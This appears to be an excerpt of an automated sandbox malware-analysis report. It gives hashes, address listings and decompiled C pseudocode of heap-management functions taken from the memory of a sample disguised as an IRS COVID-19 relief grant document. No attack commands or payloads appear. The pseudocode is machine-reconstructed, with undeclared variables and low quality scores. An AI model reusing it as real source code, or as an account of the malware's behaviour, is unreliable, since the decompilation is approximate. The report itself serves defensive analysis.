Opcode Fuzzy Hash: 802e8048eb7525f4e01e5a0da379a1f6ca3bb06186c8056b384dac083fce82bf
Instruction Fuzzy Hash: 91D117B4A14246CFDB48CF59C4B0BAAB7F2FF48300F258669D8969B785DB34E845CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E32D616, Relevance: 4.7, APIs: 3, Instructions: 216
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E1E32D616(signed int __ecx, intOrPtr __edx, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				unsigned int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t79;
				signed char _t86;
				signed int _t88;
				void* _t91;
				signed int _t94;
				signed int _t95;
				unsigned int _t96;
				signed int _t110;
				signed char _t118;
				intOrPtr _t120;
				signed int _t123;
				signed int _t124;
				signed char _t131;
				signed int _t133;
				signed int _t137;
				signed char _t147;
				signed int _t153;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				signed int _t164;
				signed int _t169;
				signed int _t173;

				_v8 =  *0x1e35d360 ^ _t173;
				_t120 = __edx;
				_t159 = __ecx;
				_v40 = __edx;
				_t150 =  *(__edx + 1) & 0x000000ff;
				_t174 =  *0x1e35610c & 0x00000001;
				_t160 = 0;
				_v24 = 0;
				_v28 =  *(0x1e24aef0 + ( *(__edx + 1) & 0x000000ff) * 2) & 0x0000ffff;
				if(( *0x1e35610c & 0x00000001) == 0) {
					_v12 = 0;
				} else {
					_v12 = E1E32C70A(__ecx + 0x38, _t150);
				}
				_t79 = E1E32C5FF(_t120, 0, _t174);
				_t153 = _t79 * _v28;
				_v36 = _t153;
				_v32 = (0x00000027 + (0x0000001f + _t79 * 0x00000002 >> 0x00000005) * 0x00000004 & 0xfffffff8) + ((0x00000027 + (0x0000001f + _t79 * 0x00000002 >> 0x00000005) * 0x00000004 & 0xfffffff8) + 0xfff + _t153 >> 0xc) * 2;
				_t86 = E1E32A359((0x00000027 + (0x0000001f + _t79 * 0x00000002 >> 0x00000005) * 0x00000004 & 0xfffffff8) + ((0x00000027 + (0x0000001f + _t79 * 0x00000002 >> 0x00000005) * 0x00000004 & 0xfffffff8) + 0xfff + _t153 >> 0xc) * 2 + _t153,  *((intOrPtr*)(_t159 + 0x2c)));
				_t131 = _t86;
				_v16 = _t86;
				if(_t131 <= 0xc) {
					_t131 = 0xc;
					_v16 = _t131;
				}
				_t123 = 1 << _t131;
				_v20 = 1;
				if(( *0x1e35610c & 0x00000008) == 0) {
					L11:
					_t88 = 1;
					__eflags = 1;
					L12:
					_t133 = _a4 & _t88;
					_v32 = _t133;
					if(_t133 == 0) {
						L1E28FAD0(_t159 + 0x34);
					}
					_t134 = _t159 + (_v16 + 0xfffffffc) * 8;
					_t91 = 0;
					if( *((intOrPtr*)(_t159 + (_v16 + 0xfffffffc) * 8 + 4)) == 0) {
						_t124 = 0;
					} else {
						_t124 = E1E291710(_t134);
						_t91 = 0;
					}
					if(_t124 != 0) {
						_t94 = 1 <<  *(_t124 + 0x1c);
						__eflags = 1;
						goto L22;
					} else {
						 *0x1e35b1e0( *_t159, _v20, _t91, _a4);
						_t124 =  *( *(_t159 + 4) ^  *0x1e356110 ^ _t159)();
						if(_t124 != 0) {
							_t94 = 0;
							_t160 = 0;
							L22:
							__eflags =  *0x1e35610c & 0x00000002;
							_v16 = _t94;
							if(( *0x1e35610c & 0x00000002) == 0) {
								L25:
								_t95 = E1E32D597(_v20, _v28);
								_t156 = _t95;
								_v12 = _t95;
								L26:
								_t96 = _v16;
								__eflags = _t96;
								if(_t96 != 0) {
									__eflags =  *((char*)(_t124 + 0x1d)) - 1;
									if( *((char*)(_t124 + 0x1d)) > 1) {
										_t169 = _t96 >> 0xc;
										__eflags = _t169;
										_t160 =  ~_t169;
										_v24 = _t160;
									}
								}
								__eflags = _t96 - _t156;
								if(_t96 >= _t156) {
									L33:
									_t137 = _v20;
									__eflags = _t156 - _t137;
									if(_t156 != _t137) {
										_t160 = _t160 + (_t156 >> 0xc);
										__eflags = _t160;
									}
									__eflags = _t160;
									if(_t160 != 0) {
										asm("lock xadd [eax], esi");
									}
									_push(_t137);
									_t156 = _t137;
									E1E32DEF6(_t124, _t137, _t137, _v28);
									asm("lock inc dword [eax+0x20]");
									asm("lock xadd [eax], ecx");
									_t161 = _t124;
									_t124 = 0;
									__eflags = 0;
									goto L38;
								} else {
									 *0x1e35b1e0( *_t159, _t124, _t156);
									_t110 =  *( *(_t159 + 0xc) ^  *0x1e356110 ^ _t159)();
									__eflags = _t110;
									if(_t110 >= 0) {
										_t160 = _v24;
										_t156 = _v12;
										goto L33;
									}
									_t161 = 0;
									L38:
									_v12 = _t161;
									__eflags = _t124;
									if(_t124 != 0) {
										_t164 =  *(_t159 + 8) ^  *0x1e356110 ^ _t159;
										__eflags = _t164;
										 *0x1e35b1e0( *_t159, _t124, _v20, _a4);
										 *_t164();
										_t161 = _v12;
									}
									L40:
									if(_v32 == 0) {
										E1E28FA00(_t124, _t159 + 0x34, _t159, _t159 + 0x34);
									}
									return E1E2AB640(_t161, _t124, _v8 ^ _t173, _t156, _t159, _t161);
								}
							}
							__eflags = _v12;
							if(_v12 == 0) {
								goto L25;
							}
							_t156 = _v20;
							_v12 = _t156;
							goto L26;
						}
						_t161 = 0;
						goto L40;
					}
				}
				_t146 = _v36;
				if(_v32 > _v36 >> 6) {
					goto L11;
				}
				_t118 = E1E32A359(_t146,  *((intOrPtr*)(_t159 + 0x2c)));
				_t147 = _t118;
				_v16 = _t118;
				if(_t147 <= 0xc) {
					_t147 = 0xc;
					_v16 = _t147;
				}
				_t88 = 1;
				_t156 = 1 << _t147;
				if(_t123 > 1) {
					_v20 = 1;
				}
				goto L12;
			}

0x1e32d625
0x1e32d629
0x1e32d62d
0x1e32d62f
0x1e32d632
0x1e32d638
0x1e32d63f
0x1e32d641
0x1e32d64c
0x1e32d64f
0x1e32d660
0x1e32d651
0x1e32d659
0x1e32d659
0x1e32d667
0x1e32d66e
0x1e32d67c
0x1e32d69a
0x1e32d6a0
0x1e32d6a5
0x1e32d6a7
0x1e32d6ad
0x1e32d6b1
0x1e32d6b2
0x1e32d6b2
0x1e32d6b8
0x1e32d6c1
0x1e32d6c4
0x1e32d6fb
0x1e32d6fd
0x1e32d6fd
0x1e32d6fe
0x1e32d701
0x1e32d703
0x1e32d706
0x1e32d70c
0x1e32d70c
0x1e32d717
0x1e32d71a
0x1e32d720
0x1e32d72d
0x1e32d722
0x1e32d727
0x1e32d729
0x1e32d729
0x1e32d731
0x1e32d76a
0x1e32d76a
0x00000000
0x1e32d733
0x1e32d749
0x1e32d751
0x1e32d755
0x1e32d75e
0x1e32d760
0x1e32d76c
0x1e32d76c
0x1e32d773
0x1e32d776
0x1e32d786
0x1e32d78c
0x1e32d791
0x1e32d793
0x1e32d796
0x1e32d796
0x1e32d799
0x1e32d79b
0x1e32d79d
0x1e32d7a1
0x1e32d7a5
0x1e32d7a5
0x1e32d7a8
0x1e32d7aa
0x1e32d7aa
0x1e32d7a1
0x1e32d7ad
0x1e32d7af
0x1e32d7d8
0x1e32d7d8
0x1e32d7db
0x1e32d7dd
0x1e32d7e4
0x1e32d7e4
0x1e32d7e4
0x1e32d7e6
0x1e32d7e8
0x1e32d7f0
0x1e32d7f0
0x1e32d7f4
0x1e32d7f9
0x1e32d7fd
0x1e32d805
0x1e32d810
0x1e32d814
0x1e32d816
0x1e32d816
0x00000000
0x1e32d7b1
0x1e32d7c2
0x1e32d7c8
0x1e32d7ca
0x1e32d7cc
0x1e32d7d2
0x1e32d7d5
0x00000000
0x1e32d7d5
0x1e32d7ce
0x1e32d818
0x1e32d818
0x1e32d81b
0x1e32d81d
0x1e32d831
0x1e32d831
0x1e32d835
0x1e32d83b
0x1e32d83d
0x1e32d83d
0x1e32d840
0x1e32d844
0x1e32d84a
0x1e32d84a
0x1e32d861
0x1e32d861
0x1e32d7af
0x1e32d778
0x1e32d77c
0x00000000
0x00000000
0x1e32d77e
0x1e32d781
0x00000000
0x1e32d781
0x1e32d757
0x00000000
0x1e32d757
0x1e32d731
0x1e32d6c6
0x1e32d6d1
0x00000000
0x00000000
0x1e32d6d6
0x1e32d6db
0x1e32d6dd
0x1e32d6e3
0x1e32d6e7
0x1e32d6e8
0x1e32d6e8
0x1e32d6ed
0x1e32d6f0
0x1e32d6f4
0x1e32d6f6
0x1e32d6f6
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E32D749
RtlDebugPrintTimes.NTDLL ref: 1E32D7C2
RtlDebugPrintTimes.NTDLL ref: 1E32D835

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: ecfa7a5ade42cb2806d7df7f66b9e287bbec17d6c701f063493f498d2ee638a0
Instruction ID: 626b760df144387463acd0c9e3587b3860ef1050ae2a784d446fdcb17e870aaa
Opcode Fuzzy Hash: ecfa7a5ade42cb2806d7df7f66b9e287bbec17d6c701f063493f498d2ee638a0
Instruction Fuzzy Hash: 6681A071E0016B9FCB04CFA9C8946AEBBF5FF88310B958779D555E7240EB359A11CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1E2899BF, Relevance: 4.3, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E1E2899BF(void* __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				void* _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E1E31FA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E1E32A80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E1E2BD540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E1E26B150();
										} else {
											E1E26B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E1E26B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0x1e356378 = 1;
											asm("int3");
											 *0x1e356378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E1E28A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								L1E28A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E1E28BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E1E32A80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E1E28A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								L1E28A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E1E2BD540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E1E26B150();
								} else {
									E1E26B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E1E26B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0x1e356378 = 1;
									asm("int3");
									 *0x1e356378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E1E31FA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E1E32A80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E1E2BD540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E1E26B150();
													} else {
														E1E26B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E1E26B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0x1e356378 = 1;
														asm("int3");
														 *0x1e356378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E1E28A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										L1E28A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E1E28BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E1E32A80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E1E2BD540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E1E26B150();
													} else {
														E1E26B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E1E26B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0x1e356378 = 1;
														asm("int3");
														 *0x1e356378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E1E28A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										L1E28A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E1E28BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E1E28BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x1e2899ca
0x1e2899cc
0x1e2899df
0x1e2899e3
0x1e2899f8
0x1e2899fb
0x1e2899fb
0x00000000
0x1e289a48
0x1e289a48
0x1e289a4c
0x1e289a51
0x1e289a55
0x1e289a61
0x1e289a66
0x1e289a68
0x1e2d1457
0x1e2d145c
0x1e2d145c
0x1e289a68
0x1e289a6e
0x1e289a71
0x1e289a74
0x1e289a76
0x1e2d1466
0x1e2d1469
0x1e2d1469
0x1e2d146c
0x1e2d146e
0x1e2d1471
0x1e2d1474
0x1e2d1477
0x1e2d1479
0x1e2d159c
0x1e2d159c
0x1e2d159d
0x1e2d15a6
0x1e2d15ab
0x1e2d15ab
0x00000000
0x1e2d15ab
0x1e2d147f
0x1e2d1481
0x00000000
0x00000000
0x1e2d148a
0x1e2d148d
0x1e2d1493
0x1e2d1495
0x1e2d14c0
0x1e2d14c0
0x1e2d14c3
0x1e2d14c6
0x1e2d14c8
0x1e2d14cb
0x1e2d14cf
0x1e2d14f2
0x1e2d14f2
0x1e2d14f5
0x1e2d14f8
0x1e2d1501
0x1e2d1508
0x1e2d150b
0x1e2d150e
0x1e2d1510
0x1e2d1513
0x1e2d1515
0x1e2d1515
0x1e2d1518
0x1e2d1518
0x1e2d1513
0x1e2d1521
0x1e2d1525
0x1e2d152a
0x1e2d152d
0x1e2d1530
0x1e2d1532
0x1e2d1539
0x1e2d153d
0x1e2d155d
0x1e2d1562
0x1e2d153f
0x1e2d1555
0x1e2d155a
0x1e2d1570
0x1e2d1577
0x1e2d157c
0x1e2d1582
0x1e2d1585
0x1e2d1589
0x1e2d158b
0x1e2d1592
0x1e2d1593
0x1e2d1593
0x1e2d1589
0x1e2d1530
0x00000000
0x1e2d14f8
0x1e2d14d5
0x1e2d14da
0x1e2d14dc
0x00000000
0x1e2d14de
0x1e2d14e8
0x00000000
0x1e2d14e8
0x1e2d1497
0x1e2d1497
0x1e2d14a4
0x1e2d14a4
0x1e2d14a7
0x1e2d14a9
0x1e2d14ab
0x1e2d14ab
0x1e2d149c
0x1e2d149e
0x1e2d14a0
0x1e2d14b0
0x1e2d14b0
0x00000000
0x1e2d14a2
0x1e2d14a2
0x00000000
0x1e2d14a2
0x1e2d14a0
0x1e2d14b3
0x1e2d14bb
0x00000000
0x1e2d14bb
0x1e2d1495
0x1e289a7c
0x1e289a7c
0x1e289a7f
0x1e289a7f
0x1e289a82
0x1e289a84
0x1e289a87
0x1e289a8a
0x1e289a8d
0x1e289a8f
0x1e2d166a
0x1e2d166a
0x1e2d166b
0x1e2d1674
0x00000000
0x1e2d1674
0x1e289a95
0x1e289a97
0x00000000
0x00000000
0x1e289aa0
0x1e289aa3
0x1e289aa9
0x1e289aab
0x1e289ad7
0x1e289ad7
0x1e289ada
0x1e289add
0x1e289adf
0x1e289ae2
0x1e289ae6
0x1e289b22
0x1e289b27
0x1e289b29
0x00000000
0x1e289b2b
0x1e2d15be
0x00000000
0x1e2d15be
0x1e289b29
0x1e289ae8
0x1e289ae8
0x1e289aeb
0x1e289aee
0x1e2d15cb
0x1e2d15d2
0x1e2d15d5
0x1e2d15d7
0x1e2d15da
0x1e2d15dc
0x1e2d15dc
0x1e2d15dc
0x1e2d15da
0x1e2d15e5
0x1e2d15e9
0x1e2d15ee
0x1e2d15f1
0x1e2d15f3
0x1e2d15f9
0x1e2d1600
0x1e2d1604
0x1e2d1624
0x1e2d1629
0x1e2d1606
0x1e2d161c
0x1e2d1621
0x1e2d1637
0x1e2d163e
0x1e2d1643
0x1e2d1649
0x1e2d164c
0x1e2d1650
0x1e2d1656
0x1e2d165d
0x1e2d165e
0x1e2d165e
